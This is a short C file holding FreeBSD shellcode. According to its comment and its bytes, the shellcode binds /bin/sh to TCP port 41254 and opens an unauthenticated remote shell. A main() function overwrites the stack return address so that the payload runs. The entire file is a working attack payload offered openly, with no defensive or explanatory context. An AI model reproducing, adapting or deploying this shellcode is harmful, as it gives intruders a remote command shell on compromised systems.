/* FreeBSD shellcode that binds /bin/sh to port 41254 Assembly code and explanation will be released on safemode.org soon. Written by zillion (zillion at safemode.org) */ char shellcode[] = "\xeb\x64\x5e\x31\xc0\x88\x46\x07\x6a\x06\x6a\x01\x6a\x02\xb0" "\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6\x46\x09\x02\x66\xc7\x46" "\x0a\xa1\x26\x89\x46\x0c\x6a\x10\x8d\x46\x08\x50\x52\x31\xc0" "\xb0\x68\x50\xcd\x80\x6a\x01\x52\x31\xc0\xb0\x6a\x50\xcd\x80" "\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff\xff" "\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01" "\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\x97\xff" "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }